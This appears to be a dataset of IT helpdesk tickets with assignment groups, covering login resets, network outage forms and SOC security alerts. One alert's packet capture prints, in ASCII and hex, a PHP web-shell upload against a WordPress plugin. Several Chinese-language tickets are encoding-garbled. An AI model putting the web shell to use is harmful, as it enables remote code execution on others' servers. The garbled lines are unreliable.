Issue Description
stringlengths 3
14.5k
| Assignment group
stringlengths 5
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é¤åŽ…ç”µè§†æ— æ³•æ’放视频文件 é¤åŽ…ç”µè§†æœºæ— æ³•æ’放视频文件，请å°è´ºå助完æˆã€‚è°¢è°¢ï¼ | GRP_30 |
please help add e-mail box to my outlook
received from: [email protected]
hello it team,
could you please add e-mail box [email protected]<mailto:[email protected]> to my outlook? my id is jilgtyq, | GRP_0 |
network outage : , spain kenci site is hard down at 8:40 pm et on 08/16. no backup circuit. what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_
_x000D_
1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_
_x000D_
2. when did it start ? _________8:40 pm et on 08/16._____________x000D_
_x000D_
3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_
_x000D_
4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_
_x000D_
5. does site have a backup circuit ? ___no___ (yes/no/na) _x000D_
_x000D_
6. backup circuit active ? __no______ (yes/no/na) _x000D_
_x000D_
7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_
_x000D_
8. remote dial-in ? _____na______ (yes/no/na) _x000D_
_x000D_
9. equipment reset ? ____na_______ (yes/no/na) _x000D_
_x000D_
10. verified site working on backup circuit ? ____no___ (yes/no/na) _x000D_
_x000D_
11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_
_x000D_
12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_
_x000D_
13. additional diagnostics | GRP_8 |
login issue login issue | GRP_0 |
company login issue. company login issue. | GRP_0 |
制粉电脑电æºçº¿ç‰æŸå 制粉三楼控制室内电脑电æºçº¿ã€ç½‘线ç‰å› 高温æŸå，需更æ¢ã€‚ | GRP_48 |
skype for businessæ•…éšœ 系统ä¸çªç„¶æ‰¾ä¸åˆ°skype for business了 | GRP_48 |
拼写和è¯æ³•é”™è¯¯ 编辑ppt时，总是弹出"æ— æ³•æ£€æŸ¥æ‹¼å†™å’Œè¯æ³•é”™è¯¯"ï¼Œä¹Ÿæ— æ³•å®‰è£…ã€‚ | GRP_48 |
电脑故障 质控部拉力试验机控制电脑的æ“作系统å¯åŠ¨éžå¸¸ç¼“慢，控制软件丢失。 | GRP_48 |
HostName_188: ora-00600: internal error code, arguments: [kggsmgetstring:1], [0x1233a6d28], [11], [1], [10], [], [], [], [] HostName_188 : ora-00600: internal error code, arguments: [kggsmgetstring:1], [0x1233a6d28], [11], [1], [10], [], [], [], [] | GRP_1 |
unable to submit discount form unable to submit discount form | GRP_0 |
reset erp SID_34 password for user soemec reset erp SID_34 password for user soemec | GRP_0 |
abended job in job_scheduler: hr_tooldcvcgenratn received from: [email protected]_x000D_
_x000D_
abended job in job_scheduler: hr_tooldcvcgenratn at 08/16/16 17:02:27 | GRP_6 |
user got a pop-up that displayed virus on the browser. user got a pop-up that displayed virus on the browser._x000D_
-advised the user to restart the pc as he was unable to open anyother window._x000D_
-issue resolved. | GRP_0 |
login issue login issue_x000D_
-verified user details.(employee# & manager name)_x000D_
-checked the user name in ad and unlocked the account._x000D_
-advised the user to login and check._x000D_
-caller confirmed that he was able to login._x000D_
-issue resolved. | GRP_0 |
please extend wireless access from ticket_no1480742 to 12/31/16 consultant vmhfteqo jpsfikow from schneider downs needs wireless account extended to the end of the year._x000D_
_x000D_
it is due to expire on 8/31/16, per ticket_no1480742._x000D_
_x000D_
| GRP_0 |
lcosm005(conformaclad shop_floor_app server):sqlagent.exe and sqlservr.exe are showing down since 4:02 pm on 8/16 et lcosm005(conformaclad shop_floor_app server):sqlagent.exe and sqlservr.exe are showing down since 4:02 pm on 8/16 et | GRP_1 |
unable to login to her microsoft 365 email account unable to login to her microsoft 365 email account | GRP_0 |
power outage : usa - (company inc) vpn circuit is down at 3:45 pm et on 08/16. site is up on primary. what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_
_x000D_
1. top 23 cert site ? _____slo site____ (yes/no/na) _x000D_
_x000D_
2. when did it start ? ____________3:45 pm et on 08/16.__________x000D_
_x000D_
3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_
_x000D_
4. scheduled maintenance ( network) ? __no_____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_
_x000D_
5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_
_x000D_
6. backup circuit active ? ____yes____ (yes/no/na) _x000D_
_x000D_
7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_
_x000D_
8. remote dial-in ? ___na________ (yes/no/na) _x000D_
_x000D_
9. equipment reset ? ____na_______ (yes/no/na) _x000D_
_x000D_
10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_
_x000D_
11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_
_x000D_
12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_
_x000D_
13. additional diagnostics | GRP_8 |
vitalyst // unable to access to forecast to plan in crm unable to access to forecast to plan in crm | GRP_22 |
error login on to the SID_34 system. error login on to the SID_34 system._x000D_
-verified user details.(employee# & manager name)_x000D_
-user has tried the password_management_tool pwd manager._x000D_
-unlocked the erp id._x000D_
-caller confirmed that he was able to login._x000D_
-issue resolved. | GRP_0 |
abended job in job_scheduler: Job_1320 received from: [email protected]_x000D_
_x000D_
abended job in job_scheduler: Job_1320 at 08/16/16 15:06:28 | GRP_9 |
security incidents - ( #in33505432 ) : repeat outbound connection for 135/tcp from 10.16.140.231 source ip :10.16.140.231
system name :evhl8114123
user name: companypzyre mqlsfkre(ldnfgt)
location :germany
sep , sms status :no updated
field sales user ( yes / no) : no
dsw event log:see below
--------------------------------------------------------------------------
=========================
incident overview
=========================
we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from evhl8114123/10.16.140.231 to port 135/tcp (remote procedure call (rpc)) of external host 62.157.140.133. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code.
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)
sincerely,
secureworks soc
=========================
technical details
=========================
remote procedure call (rpc), also known as the loovexfbjy lmcaqfkz (loc-srv), is a microsoft windows protocol that allows an application to to execute code in another address space (commonly on another computer on a shared network) without the programdntymer explicitly coding the details for this remote interaction. that is, the programdntymer writes germanytially the same code whether the subroutine is local to the executing programdnty, or remote.
an rpc is initiated by the client, which sends a request message to a known remote server to execute a specified procedure with supplied paramdntyeters. the remote server sends a response to the client, and the application continues its process. rpc runs on port 135, and is used in client/server applications (such as microsoft exchange clients, mgermanyger service, dhcp server, dns server, wins, as well as other windows applications). vulnerabilities in rpc have also been leveraged by several worms as a means for propagation. examples include:
-w32.blaster.worm/msblast/lovsan
-w32.welchia/nachi
-w32.reatle
=========================
references
=========================
=========================
event data
=========================
related events:
event id: 81646471
event summary: repeat outbound connection for 135/tcp
occurrence count: 234
event count: 2
host and connection information
source ip: 10.16.140.231
source hostname: evhl8114123
source port: 54411
destination ip: 62.157.140.133
destination port: 135
destination ip geolocation: ulm, deu
connection directionality: outgoing
protocol: tcp
device information
device ip: 80.71.06.702
device name: company-european-asa.company.com-1
log time: 2016-08-15 at 09:26:41 utc
action: blocked
cvss score: -1
scwx event processing information
sherlock rule id (sle): 237526
inspector rule id: 186739
inspector event id: 626672260
ontology id: 200020003203009162
event type id: 200020003203009062
agent id: 103761
event detail:
aug 15 09:26:41 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54411 dst noris:62.157.140.133/135 by access-group "acl_inside" [0xed29b7f9, 0x0]
event id: 81646714
event summary: repeat outbound connection for 135/tcp
occurrence count: 234
event count: 2
host and connection information
source ip: 10.16.140.231
source hostname: evhl8114123
source port: 54411
destination ip: 80.156.86.78
destination port: 135
destination ip geolocation: ulm, deu
connection directionality: outgoing
protocol: tcp
device information
device ip: 80.71.06.702
device name: company-european-asa.company.com-1
log time: 2016-08-15 at 09:26:41 utc
action: blocked
cvss score: -1
scwx event processing information
sherlock rule id (sle): 237526
inspector rule id: 186739
inspector event id: 626672260
ontology id: 200020003203009162
event type id: 200020003203009062
agent id: 103761
event detail:
aug 15 09:27:49 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54481 dst noris:80.156.86.78/135 by access-group "acl_inside" [0xed29b7f9, 0x0] | GRP_2 |
password reset name:mikhghytr karaffa
language:
browser:microsoft internet explorer
email:[email protected]
customer number:
telephone:
summary:hello, can you please advise on my crm password to start? | GRP_0 |
update on crm access ticket_no0430983 update on crm access ticket_no0430983 | GRP_0 |
ticket update on ticket_no0430539 ticket update on ticket_no0430539 | GRP_0 |
ticket update on inplant_850619 ticket update on inplant_850619 | GRP_0 |
ticket update on inplant_850899 ticket update on inplant_850899 | GRP_0 |
ticket update on inplant_850503 ticket update on inplant_850503 | GRP_0 |
security incidents - ( #in33505432 ) : repeat outbound connection for 135/tcp from 10.16.140.231 source ip :10.16.140.231_x000D_
system name :evhl8114123_x000D_
user name: companypzyre mqlsfkre(ldnfgt)_x000D_
location :germany_x000D_
sep , sms status :no updated_x000D_
field sales user ( yes / no) : no_x000D_
dsw event log:see below_x000D_
--------------------------------------------------------------------------_x000D_
=========================_x000D_
incident overview_x000D_
=========================_x000D_
we are seeing your 80.71.06.702/company-european-asa.company.com-1 device generating a high volume of 'repeat outbound connection for 135/tcp' alerts for traffic (blocked) from evhl8114123/10.16.140.231 to port 135/tcp (remote procedure call (rpc)) of external host 62.157.140.133. this may indicate a misconfiguration, where the firewall is blocking traffic to a legitimate server/application. this may also indicate a compromised host reaching out to a malicious host or propagating worm code._x000D_
_x000D_
we are escalating this incident to you via a medium priority ticket and email per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at . _x000D_
_x000D_
1) full escalation for windows login failure alerts (explicit notification via a high priority ticket and a phone call)_x000D_
2) automatically resolve windows login failure alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_
_x000D_
sincerely,_x000D_
secureworks soc_x000D_
_x000D_
=========================_x000D_
technical details_x000D_
=========================_x000D_
remote procedure call (rpc), also known as the loovexfbjy lmcaqfkz (loc-srv), is a microsoft windows protocol that allows an application to to execute code in another address space (commonly on another computer on a shared network) without the programdntymer explicitly coding the details for this remote interaction. that is, the programdntymer writes germanytially the same code whether the subroutine is local to the executing programdnty, or remote. _x000D_
_x000D_
an rpc is initiated by the client, which sends a request message to a known remote server to execute a specified procedure with supplied paramdntyeters. the remote server sends a response to the client, and the application continues its process. rpc runs on port 135, and is used in client/server applications (such as microsoft exchange clients, mgermanyger service, dhcp server, dns server, wins, as well as other windows applications). vulnerabilities in rpc have also been leveraged by several worms as a means for propagation. examples include:_x000D_
-w32.blaster.worm/msblast/lovsan _x000D_
-w32.welchia/nachi_x000D_
-w32.reatle_x000D_
_x000D_
_x000D_
=========================_x000D_
references_x000D_
=========================_x000D_
_x000D_
_x000D_
_x000D_
_x000D_
_x000D_
_x000D_
=========================_x000D_
event data_x000D_
=========================_x000D_
related events: _x000D_
event id: 81646471_x000D_
event summary: repeat outbound connection for 135/tcp_x000D_
occurrence count: 234_x000D_
event count: 2_x000D_
_x000D_
host and connection information_x000D_
source ip: 10.16.140.231_x000D_
source hostname: evhl8114123 _x000D_
source port: 54411_x000D_
destination ip: 62.157.140.133_x000D_
destination port: 135_x000D_
destination ip geolocation: ulm, deu_x000D_
connection directionality: outgoing_x000D_
protocol: tcp_x000D_
_x000D_
device information_x000D_
device ip: 80.71.06.702_x000D_
device name: company-european-asa.company.com-1_x000D_
log time: 2016-08-15 at 09:26:41 utc_x000D_
action: blocked_x000D_
cvss score: -1 _x000D_
_x000D_
scwx event processing information_x000D_
sherlock rule id (sle): 237526_x000D_
inspector rule id: 186739_x000D_
inspector event id: 626672260_x000D_
ontology id: 200020003203009162_x000D_
event type id: 200020003203009062_x000D_
agent id: 103761_x000D_
_x000D_
event detail:_x000D_
aug 15 09:26:41 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54411 dst noris:62.157.140.133/135 by access-group "acl_inside" [0xed29b7f9, 0x0]_x000D_
_x000D_
_x000D_
_x000D_
event id: 81646714_x000D_
event summary: repeat outbound connection for 135/tcp_x000D_
occurrence count: 234_x000D_
event count: 2_x000D_
_x000D_
host and connection information_x000D_
source ip: 10.16.140.231_x000D_
source hostname: evhl8114123 _x000D_
source port: 54411_x000D_
destination ip: 80.156.86.78_x000D_
destination port: 135_x000D_
destination ip geolocation: ulm, deu_x000D_
connection directionality: outgoing_x000D_
protocol: tcp_x000D_
_x000D_
device information_x000D_
device ip: 80.71.06.702_x000D_
device name: company-european-asa.company.com-1_x000D_
log time: 2016-08-15 at 09:26:41 utc_x000D_
action: blocked_x000D_
cvss score: -1 _x000D_
_x000D_
scwx event processing information_x000D_
sherlock rule id (sle): 237526_x000D_
inspector rule id: 186739_x000D_
inspector event id: 626672260_x000D_
ontology id: 200020003203009162_x000D_
event type id: 200020003203009062_x000D_
agent id: 103761_x000D_
_x000D_
event detail:_x000D_
aug 15 09:27:49 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.140.231/54481 dst noris:80.156.86.78/135 by access-group "acl_inside" [0xed29b7f9, 0x0] | GRP_2 |
circuit outage: carrier, india telecom_vendor_1 circuit is down since 3:55 am et on 08/16 site is up on primary tikona circuit what type of outage: _x____network _____circuit _____power (please specify what type of outage)_x000D_
_x000D_
1. top 23 cert site ? ___no______ (yes/no/na) _x000D_
_x000D_
2. when did it start ? _______3:55 am et on 08/16_______________x000D_
_x000D_
3. scheduled maintenance ( power) ? ___no____ (yes/no/na) company power _________ provider power __________x000D_
_x000D_
4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_
_x000D_
5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_
_x000D_
6. backup circuit active ? ___yes_____ (yes/no/na) _x000D_
_x000D_
7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_
_x000D_
8. remote dial-in ? ___na________ (yes/no/na) _x000D_
_x000D_
9. equipment reset ? _____na______ (yes/no/na) _x000D_
_x000D_
10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_
_x000D_
11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_
_x000D_
12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_
_x000D_
13. additional diagnostics | GRP_8 |
unable to access site unable to access site | GRP_0 |
could you please help set up erp. my user name and password do not work _x000D_
_x000D_
received from: [email protected]_x000D_
_x000D_
hello,_x000D_
could you please help set up erp. my user name and password do not work._x000D_
| GRP_0 |
zmmdata currency error when trying to extend to plant_317. assign to vaghjmskee krisyuhnyrt zmmdata currency error when trying to extend to plant_317. assign to vaghjmskee krisyuhnyrt
i am getting the following error when trying to extend to plant_317. example mm#2240970
currency amount 3.4500 jpy in field moving_pr could not be converted
| GRP_20 |
unable to connect to dv06 unable to connect to dv06 | GRP_0 |
error login on to the SID_34 system. error login on to the SID_34 system._x000D_
-verified user details.(employee# & manager name)_x000D_
-user has tried the password_management_tool pwd manager._x000D_
-unlocked and reset the erp id to"daypay3"._x000D_
-caller confirmed that he was able to login._x000D_
-issue resolved. | GRP_0 |
security incidents - ( sw #in33501789 ) : broadscanning: possible vulnerability scanning - 46.161.9.35 we are seeing activity indicating the host at 46.161.9.35 is conducting a vulnerability scan. these scans are used to identify specific vulnerabilities on a remote host that could be exploited to potentially interfere with service availability, execute code, or usa an attacker with unauthorized access. the results of this scan could be used for future attacks or exploitation of the targeted host(s). _x000D_
_x000D_
based on our internet visibility we are detecting this as a non-targeted broadscan. similar activity from this source has been detected across our client base. please consider blocking this ip address and investigating the host for any malicious scrip_x000D_
_x000D_
we are escalating this incident to you via a medium priority ticket as per our default event handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at ._x000D_
_x000D_
1)full escalation for broadscanning alerts (explicit notification via a high priority ticket and phone call)_x000D_
2)autoresolve for broadscanning alerts directly to the portal (no explicit notification but events will be available for reporting purposes in the portal)_x000D_
_x000D_
sincerely,_x000D_
secureworks soc_x000D_
_x000D_
=========================_x000D_
event data_x000D_
=========================_x000D_
related events: _x000D_
event id: 43589636_x000D_
event summary: 20369 vid12631 suspicious executable file upload php http incoming_x000D_
occurrence count: 2_x000D_
event count: 2_x000D_
_x000D_
host and connection information_x000D_
source ip: 46.161.9.35_x000D_
source port: 52806_x000D_
source ip geolocation: st pethrywrsburg, rus_x000D_
destination ip: 172.20.10.37_x000D_
destination port: 80_x000D_
connection directionality: incoming_x000D_
protocol: tcp_x000D_
http method: post_x000D_
http status code: 404_x000D_
user agent: mozilla/5.0 (windows nt 6.1; rv:34.0) gecko/31211212 firefox/34.0_x000D_
host: www.companyipg.com_x000D_
full url path: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php_x000D_
_x000D_
device information_x000D_
device ip: 172.20.10.208_x000D_
device name: isensor02.company.com_x000D_
log time: 2016-08-14 at 20:38:30 utc_x000D_
action: not blocked_x000D_
vendor eventid: 655375_x000D_
cvss score: -1 _x000D_
vendor priority: 3_x000D_
vendor version: 7_x000D_
vendor reference: vid, 12631_x000D_
file name: wp-setup.php_x000D_
_x000D_
scwx event processing information_x000D_
sherlock rule id (sle): 891631_x000D_
inspector rule id: 277082_x000D_
inspector event id: 61024435_x000D_
ontology id: 200020003203722280_x000D_
event type id: 200020003203056732_x000D_
agent id: 103793_x000D_
_x000D_
event detail:_x000D_
[**] [1:21131470:5] 20369 vid12631 suspicious executable file upload php http incoming [**]_x000D_
[classification: none] [priority: 3] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_
[sensor id: 602984][event id: 655375][time: 2582318221.714106]_x000D_
[xref => vid, 12631]_x000D_
[src ip: 46.161.9.35][dst ip: 172.20.10.37][sport/itype: 52806][dport/icode: 80][proto: 6]_x000D_
08/14/2016-20:38:30.714106 46.161.9.35:52806 -> 172.20.10.37:80_x000D_
tcp ttl:49 tos:0x68 id:4444 iplen:20 dgmlen:714 df_x000D_
***ap*** seq: 0x49c51796 ack: 0x9698e7c8 win: 0x73 tcplen: 32_x000D_
tcp options (3) => nop nop ts: 380683315 9237098 _x000D_
==pcap 1==_x000D_
_x000D_
_x000D_
[ex http_uri 9: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php]_x000D_
_x000D_
[ex http_hostname 10: www.companyipg.com]_x000D_
_x000D_
[o:security]_x000D_
_x000D_
ascii packet(s):_x000D_
==pcap 1 ascii s==_x000D_
.......wz...........eh...\@.1.gm...#...%.f.pi..........sk2...........|..post./wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php.http/1.1..host:.www.companyipg.com..content-length:.297..accept-encoding:.gzip,.deflate..accept:.*/*..user-agent:.mozilla/5.0.(windows.nt.6.1;.rv:34.0).gecko/31211212.firefox/34.0..connection:.keep-alive..content-type:.multipart/form-data;.boundary=ba7336a47f1648dc9255eb59510e6f02....--ba7336a47f1648dc9255eb59510e6f02..content-disposition:.form-data;.name="file";.filename="wp-setup.php"..content-type:.text/plain....<?php.if.(!isset($_request['e51e'])).header("http/1.0.404.not.found");.@preg_replace('/(.*)/e',.@$_request['e51e'],.'');.?>..--ba7336a47f1648dc9255eb59510e6f02--.._x000D_
==pcap 1 ascii e==_x000D_
_x000D_
hex packet(s):_x000D_
==pcap 1 hex s==_x000D_
000000 0c00 0000 c6d6 b057 7ae5 0a00 ca02 0000 .......wz......._x000D_
000010 ca02 0000 4568 02ca 115c 4000 3106 476d ....eh...\@.1.gm_x000D_
000020 2ea1 0923 ac14 0a25 ce46 0050 49c5 1796 ...#...%.f.pi..._x000D_
000030 9698 e7c8 8018 0073 6b32 0000 0101 080a .......sk2......_x000D_
000040 10a9 eeec 007c 020b 504f 5354 202f 7770 .....|..post./wp_x000D_
000050 2d63 6f6e 7465 6e74 2f70 6c75 6769 6e73 -content/plugins_x000D_
000060 2f69 6e62 6f75 6e64 696f 2d6d 6172 6b65 /inboundio-markhtye_x000D_
000070 7469 6e67 2f61 646d 696e 2f70 6172 7469 ting/admin/parti_x000D_
000080 616c 732f 6373 765f 7570 6c6f 6164 6572 als/csv_uploader_x000D_
000090 2e70 6870 2048 5454 502f 312e 310d 0a48 .php.http/1.1..h_x000D_
0000a0 6f73 743a 2077 7777 2e6b 656e 6e61 6d65 ost:.www.companyme_x000D_
0000b0 7461 6c69 7067 2e63 6f6d 0d0a 436f 6e74 talipg.com..cont_x000D_
0000c0 656e 742d 4c65 6e67 7468 3a20 3239 370d ent-length:.297._x000D_
0000d0 0a41 6363 6570 742d 456e 636f 6469 6e67 .accept-encoding_x000D_
0000e0 3a20 677a 6970 2c20 6465 666c 6174 650d :.gzip,.deflate._x000D_
0000f0 0a41 6363 6570 743a 202a 2f2a 0d0a 5573 .accept:.*/*..us_x000D_
000100 6572 2SID_29 6765 6e74 3a20 4d6f 7a69 6c6c er-agent:.mozill_x000D_
000110 612f 352e 3020 2857 696e 646f 7773 204e a/5.0.(windows.n_x000D_
000120 5420 362e 313b 2072 763a 3334 2e30 2920 t.6.1;.rv:34.0)._x000D_
000130 4765 636b 6f2f 3230 3130 3031 3031 2046 gecko/31211212.f_x000D_
000140 6972 6566 6f78 2f33 342e 300d 0a43 6f6e irefox/34.0..con_x000D_
000150 6e65 6374 696f 6e3a 206b 6565 702d 616c nection:.keep-al_x000D_
000160 6976 650d 0a43 6f6e 7465 6e74 2d54 7970 ive..content-typ_x000D_
000170 653a 206d 756c 7469 7061 7274 2f66 6f72 e:.multipart/for_x000D_
000180 6d2d 6461 7461 3b20 626f 756e 6461 7279 m-data;.boundary_x000D_
000190 3d62 6137 3333 3661 3437 6631 3634 3864 =ba7336a47f1648d_x000D_
0001a0 6339 3235 3565 6235 3935 3130 6536 6630 c9255eb59510e6f0_x000D_
0001b0 320d 0a0d 0a2d 2d62 6137 3333 3661 3437 2....--ba7336a47_x000D_
0001c0 6631 3634 3864 6339 3235 3565 6235 3935 f1648dc9255eb595_x000D_
0001d0 3130 6536 6630 320d 0a43 6f6e 7465 6e74 10e6f02..content_x000D_
0001e0 2d44 6973 706f 7369 7469 6f6e 3a20 666f -disposition:.fo_x000D_
0001f0 726d 2d64 6174 613b 206e 616d 653d 2266 rm-data;.name="f_x000D_
000200 696c 6522 3b20 6669 6c65 6e61 6d65 3d22 ile";.filename="_x000D_
000210 7770 2d73 6574 7570 2e70 6870 220d 0a43 wp-setup.php"..c_x000D_
000220 6f6e 7465 6e74 2d54 7970 653a 2074 6578 ontent-type:.tex_x000D_
000230 742f 706c 6169 6e0d 0a0d 0a3c 3f70 6870 t/plain....<?php_x000D_
000240 2069 6620 2821 6973 7365 7428 245f 5245 .if.(!isset($_re_x000D_
000250 5155 4553 545b 2765 3531 6527 5d29 2920 quest['e51e']))._x000D_
000260 6865 6164 6572 2822 4854 5450 2f31 2e30 header("http/1.0_x000D_
000270 2034 3034 204e 6f74 2046 6f75 6e64 2229 .404.not.found")_x000D_
000280 3b20 4070 7265 675f 7265 706c 6163 6528 ;.@preg_replace(_x000D_
000290 272f 282e 2a29 2f65 272c 2040 245f 5245 '/(.*)/e',.@$_re_x000D_
0002a0 5155 4553 545b 2765 3531 6527 5d2c 2027 quest['e51e'],.'_x000D_
0002b0 2729 3b20 3f3e 0d0a 2d2d 6261 3733 3336 ');.?>..--ba7336_x000D_
0002c0 6134 3766 3136 3438 6463 3932 3535 6562 a47f1648dc9255eb_x000D_
0002d0 3539 3531 3065 3666 3032 2d2d 0d0a 59510e6f02--.._x000D_
==pcap 1 hex e==_x000D_
_x000D_
event id: 43589634_x000D_
event summary: 20369 vid12631 suspicious executable file upload php http incoming_x000D_
occurrence count: 2_x000D_
event count: 2_x000D_
_x000D_
host and connection information_x000D_
source ip: 46.161.9.35_x000D_
source port: 52806_x000D_
source ip geolocation: st pethrywrsburg, rus_x000D_
destination ip: 208.211.136.158_x000D_
destination port: 80_x000D_
connection directionality: incoming_x000D_
protocol: tcp_x000D_
http method: post_x000D_
http status code: 404_x000D_
user agent: mozilla/5.0 (windows nt 6.1; rv:34.0) gecko/31211212 firefox/34.0_x000D_
host: www.companyipg.com_x000D_
full url path: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php_x000D_
_x000D_
device information_x000D_
device ip: 208.211.136.207_x000D_
device name: isensplant_247.company.com_x000D_
log time: 2016-08-14 at 20:38:30 utc_x000D_
action: not blocked_x000D_
vendor eventid: 655375_x000D_
cvss score: -1 _x000D_
vendor priority: 3_x000D_
vendor version: 7_x000D_
vendor reference: vid, 12631_x000D_
file name: wp-setup.php_x000D_
_x000D_
scwx event processing information_x000D_
sherlock rule id (sle): 891631_x000D_
inspector rule id: 277082_x000D_
inspector event id: 61024435_x000D_
ontology id: 200020003203722280_x000D_
event type id: 200020003203056732_x000D_
agent id: 102989_x000D_
_x000D_
event detail:_x000D_
[**] [1:21131470:5] 20369 vid12631 suspicious executable file upload php http incoming [**]_x000D_
[classification: none] [priority: 3] [action: accept_passive] [impact_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]_x000D_
[sensor id: 602981][event id: 262411][time: 2582318221.758719]_x000D_
[xref => vid, 12631]_x000D_
[src ip: 46.161.9.35][dst ip: 208.211.136.158][sport/itype: 52806][dport/icode: 80][proto: 6]_x000D_
08/14/2016-20:38:30.758719 46.161.9.35:52806 -> 208.211.136.158:80_x000D_
tcp ttl:49 tos:0x68 id:4444 iplen:20 dgmlen:714 df_x000D_
***ap*** seq: 0x3043ff92 ack: 0xdef989b5 win: 0x73 tcplen: 32_x000D_
tcp options (3) => nop nop ts: 380683315 9237098 _x000D_
==pcap 1==_x000D_
_x000D_
_x000D_
[ex http_uri 9: /wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php]_x000D_
_x000D_
[ex http_hostname 10: www.companyipg.com]_x000D_
_x000D_
[o:security]_x000D_
_x000D_
ascii packet(s):_x000D_
==pcap 1 ascii s==_x000D_
.......w............eh...\@.1..4...#.....f.p0c.........s.1...........|..post./wp-content/plugins/inboundio-markhtyeting/admin/partials/csv_uploader.php.http/1.1..host:.www.companyipg.com..content-length:.297..accept-encoding:.gzip,.deflate..accept:.*/*..user-agent:.mozilla/5.0.(windows.nt.6.1;.rv:34.0).gecko/31211212.firefox/34.0..connection:.keep-alive..content-type:.multipart/form-data;.boundary=ba7336a47f1648dc9255eb59510e6f02....--ba7336a47f1648dc9255eb59510e6f02..content-disposition:.form-data;.name="file";.filename="wp-setup.php"..content-type:.text/plain....<?php.if.(!isset($_request['e51e'])).header("http/1.0.404.not.found");.@preg_replace('/(.*)/e',.@$_request['e51e'],.'');.?>..--ba7336a47f1648dc9255eb59510e6f02--.._x000D_
==pcap 1 ascii e==_x000D_
_x000D_
hex packet(s):_x000D_
==pcap 1 hex s==_x000D_
000000 0c00 0000 c6d6 b057 bf93 0b00 ca02 0000 .......w........_x000D_
000010 ca02 0000 4568 02ca 115c 4000 3106 a434 ....eh...\@.1..4_x000D_
000020 2ea1 0923 d0d3 889e ce46 0050 3043 ff92 ...#.....f.p0c.._x000D_
000030 def9 89b5 8018 0073 0f31 0000 0101 080a .......s.1......_x000D_
000040 10a9 eeec 007c 020b 504f 5354 202f 7770 .....|..post./wp_x000D_
000050 2d63 6f6e 7465 6e74 2f70 6c75 6769 6e73 -content/plugins_x000D_
000060 2f69 6e62 6f75 6e64 696f 2d6d 6172 6b65 /inboundio-markhtye_x000D_
000070 7469 6e67 2f61 646d 696e 2f70 6172 7469 ting/admin/parti_x000D_
000080 616c 732f 6373 765f 7570 6c6f 6164 6572 als/csv_uploader_x000D_
000090 2e70 6870 2048 5454 502f 312e 310d 0a48 .php.http/1.1..h_x000D_
0000a0 6f73 743a 2077 7777 2e6b 656e 6e61 6d65 ost:.www.companyme_x000D_
0000b0 7461 6c69 7067 2e63 6f6d 0d0a 436f 6e74 talipg.com..cont_x000D_
0000c0 656e 742d 4c65 6e67 7468 3a20 3239 370d ent-length:.297._x000D_
0000d0 0a41 6363 6570 742d 456e 636f 6469 6e67 .accept-encoding_x000D_
0000e0 3a20 677a 6970 2c20 6465 666c 6174 650d :.gzip,.deflate._x000D_
0000f0 0a41 6363 6570 743a 202a 2f2a 0d0a 5573 .accept:.*/*..us_x000D_
000100 6572 2SID_29 6765 6e74 3a20 4d6f 7a69 6c6c er-agent:.mozill_x000D_
000110 612f 352e 3020 2857 696e 646f 7773 204e a/5.0.(windows.n_x000D_
000120 5420 362e 313b 2072 763a 3334 2e30 2920 t.6.1;.rv:34.0)._x000D_
000130 4765 636b 6f2f 3230 3130 3031 3031 2046 gecko/31211212.f_x000D_
000140 6972 6566 6f78 2f33 342e 300d 0a43 6f6e irefox/34.0..con_x000D_
000150 6e65 6374 696f 6e3a 206b 6565 702d 616c nection:.keep-al_x000D_
000160 6976 650d 0a43 6f6e 7465 6e74 2d54 7970 ive..content-typ_x000D_
000170 653a 206d 756c 7469 7061 7274 2f66 6f72 e:.multipart/for_x000D_
